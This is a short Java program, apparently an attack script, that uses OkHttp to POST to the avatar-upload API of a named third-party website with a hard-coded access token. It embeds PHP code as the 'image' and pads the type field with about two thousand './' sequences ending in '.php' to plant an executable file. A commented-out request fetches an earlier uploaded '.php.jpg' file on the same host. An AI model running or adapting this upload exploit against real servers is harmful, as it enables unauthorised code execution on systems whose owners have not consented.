package uploadAttack;



import okhttp3.*;

import java.io.IOException;
import java.util.Arrays;

//上传文件攻击
public class Main {
    public static void main(String[] args) {
//        file_put_contents
//        urlToGet("http://inface.tingshuoshuo.com/attachment/member-QRcode/thumb/2018/265backqrhost8,00.php.jpg?rr=1538019156");
        OkHttpClient httpClient = new OkHttpClient();
        okhttp3.MediaType mediaType = okhttp3.MediaType.parse("application/json; charset=utf-8");
//        252backqrhost8
            String url = "http://inface.tingshuoshuo.com/v1/center/upuserpic?access-token=EMjjLaogS-sLdgObopodYLjugCHgH_A_";
            String requestBody = "{\"base_img\":\"<?php phpinfo();?>\",\"type\":\"8";
        for (int i = 0; i < (4096 - 18)/2; i++) {
            requestBody+="./";
        }
        requestBody+=".php\"}";
        System.out.println(requestBody);
            byte[] bytes = requestBody.getBytes();
//            bytes[bytes.length-3] = 0x0a;
//            bytes[bytes.length-4] = 0x5C;
            Request request = new Request.Builder()
                    .url(url)
                    .post(RequestBody.create(mediaType, bytes))
                    .build();
            httpClient.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                System.out.println("onFailure: " + e.getMessage());
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                System.out.println(call.request().url());
                String responseStr = response.body().string();
                if (!responseStr.contains("验证码错误或已失效")){
                    System.out.println("onResponse: " + responseStr);
                }
            }
        });
    }

    static void urlToGet(String url){
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder()
                .url(url)
                .get()
                .build();
        httpClient.newCall(request).enqueue(new Callback() {
            @Override
            public void onFailure(Call call, IOException e) {
                System.out.println("onFailure: " + e.getMessage());
            }

            @Override
            public void onResponse(Call call, Response response) throws IOException {
                System.out.println(call.request().url());
                String responseStr = response.body().string();
                System.out.println("onResponse: " + Arrays.toString(responseStr.getBytes()));
                System.out.println("onResponse: " + responseStr);
            }
        });
    }
}
